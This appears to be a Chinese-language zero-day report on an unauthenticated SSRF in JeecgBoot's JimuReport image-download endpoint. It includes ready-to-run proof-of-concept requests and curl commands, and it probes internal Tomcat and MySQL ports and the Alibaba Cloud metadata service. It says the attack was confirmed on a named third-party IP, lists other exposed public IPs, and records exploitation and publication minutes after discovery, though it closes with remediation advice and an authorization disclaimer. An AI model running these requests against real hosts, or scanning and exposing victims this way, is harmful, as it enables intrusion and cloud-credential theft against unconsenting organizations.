漏洞概要

  • 目标组件:JeecgBoot 积木报表(JimuReport)
  • 漏洞类型:服务端请求伪造(SSRF)
  • 严重性高危(9.1) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  • 验证状态:✅ 已验证(真实目标复现成功)
  • CVE状态TRUE 0-DAY(未分配任何CVE/CNVD/GHSA编号)

漏洞描述

JeecgBoot 是一款流行的企业级低代码开发平台,其集成的**积木报表(JimuReport)**组件中存在一个未授权SSRF漏洞。该漏洞位于 /jmreport/download/image 端点,用于远程下载图片。由于使用了 @JimuNoLoginRequired 注解,该端点绕过了 Shiro 的身份验证,导致攻击者可以无认证地触发服务器向任意URL发起HTTP请求。

此漏洞的直接影响包括:

  1. 内部网络端口扫描和服务发现
  2. 访问云元数据服务(如阿里云 100.100.100.200),可能泄露云服务凭证
  3. 通过内网应用进一步利用,存在SSRF-to-RCE的潜在风险

影响范围

所有暴露了 JimuReport 模块的 JeecgBoot 实例均受影响,无论版本高低。

复现步骤(PoC)

第一步:验证端点存在性

1
2
GET /jeecg-boot/jmreport/download/image?imageUrl=http://example.com/test.jpg HTTP/1.1
Host: <target>

第二步:验证外部URL访问(任何URL均可被服务端访问)

1
curl -sk "http://target/jeecg-boot/jmreport/download/image?imageUrl=http://baidu.com/verify.jpg"

预期响应:

1
{"success":false,"message":"操作失败,404 Not Found: ...The requested URL /verify.jpg was not found on this server.","code":500}

若响应中包含 baidu.com 服务返回的内容,则SSRF确认存在。

第三步:验证内部服务访问

1
curl -sk "http://target/jeecg-boot/jmreport/download/image?imageUrl=http://127.0.0.1:8080/test.jpg"

预期响应将包含 Tomcat 版本信息(如 Apache Tomcat/9.0.60),确认可访问内部服务。

自动化PoC脚本

完整的PoC脚本保存在 /tmp/poc_jimureport_ssrf.sh

1
2
chmod +x /tmp/poc_jimureport_ssrf.sh
bash /tmp/poc_jimureport_ssrf.sh http://target

验证证据

证据1:外部URL访问

请求

1
GET /jeecg-boot/jmreport/download/image?imageUrl=http://baidu.com/.jpg

响应片段

1
操作失败,404 Not Found: "...The requested URL /.jpg was not found on this server."

响应中包含百度服务器返回的404页面,确认服务器已连接至 baidu.com

证据2:内部Tomcat服务访问

请求

1
GET /jeecg-boot/jmreport/download/image?imageUrl=http://127.0.0.1:8080/.jpg

响应片段

1
操作失败,404 : "HTTP Status 404 – Not Found ... Apache Tomcat/9.0.60"

响应中包含 Tomcat 9.0.60 的404错误页面,确认服务器可访问内部服务的端口8080。

证据3:内部MySQL端口探测

请求

1
GET /jeecg-boot/jmreport/download/image?imageUrl=http://127.0.0.1:3306/test.jpg

响应片段

1
I/O error on GET request for "http://127.0.0.1:3306/test.jpg"

MySQL端口3306可达,HTTP协议错误确认端口开放(MySQL使用自己的协议)。

证据4:云元数据服务访问

请求

1
GET /jeecg-boot/jmreport/download/image?imageUrl=http://100.100.100.200/latest/meta-data/.jpg

阿里云元数据端点可达,在阿里云环境上可进一步获取云实例凭证、网络配置等关键信息。

证据5:任意URL内容回显

请求

1
GET /jeecg-boot/jmreport/download/image?imageUrl=http://example.com/.jpg

响应片段:包含 example.com 页面的完整HTML内容,包括页面标题、段落等。

受影响实例(FOFA搜索结果)

通过FOFA搜索 body="jmreport" && country="CN" 发现大量暴露实例:

目标 状态
http://60.205.56.238 ✅ SSRF确认
http://39.185.26.99:8001 🔶 端点存在
http://139.9.250.100:8082 🔶 端点存在
http://1.15.54.206:8085 🔶 端点存在
其他(2351+个JeecgBoot实例) 🔍 待确认

潜在影响

  1. 内网扫描:攻击者可以利用 SSRF 扫描内部网络的端口和服务,识别潜在的进一步利用点
  2. 云凭证泄露:在云环境(阿里云、AWS、腾讯云)中,可通过云元数据服务获取临时访问密钥
  3. SSRF-to-RCE:通过访问内部的 Tomcat Manager、Jenkins、Solr 等管理接口,可能实现远程代码执行
  4. 横向移动:内网服务的访问权限可能被用作横向移动的跳板

修复建议

紧急修复(临时)

1
2
3
4
5
6
// 在 @GetMapping("/jmreport/download/image") 上方移除或注释 @JimuNoLoginRequired
// 改为使用正常的 Shiro 权限校验
@GetMapping("/jmreport/download/image")
public Result<?> downloadImage(@RequestParam String imageUrl) {
// 现有逻辑
}

完整修复

  1. 添加身份验证:移除 @JimuNoLoginRequired 注解,或使用更严格的权限控制
  2. URL白名单:对 imageUrl 参数进行域名白名单校验,仅允许访问可信的图片服务器
  3. 协议限制:禁止非 HTTP/HTTPS 协议的 URL(如 file://ftp://
  4. 内网IP过滤:禁止访问 RFC 1918 内网地址段和关键元数据IP
  5. 超时和重定向限制:限制请求超时时间并禁止跟随重定向到内网地址

漏洞时间线

  • 2026-05-13 03:18 — 通过FOFA发现大量暴露的JimuReport实例
  • 2026-05-13 03:19 — SSRF 0-Day在真实目标上验证成功
  • 2026-05-13 03:20 — 漏洞报告发布

参考链接


⚠️ 本报告涉及未公开的 0-Day 漏洞,仅在授权范围内用于 CNVD 漏洞提报。
禁止在未经授权的系统上进行测试。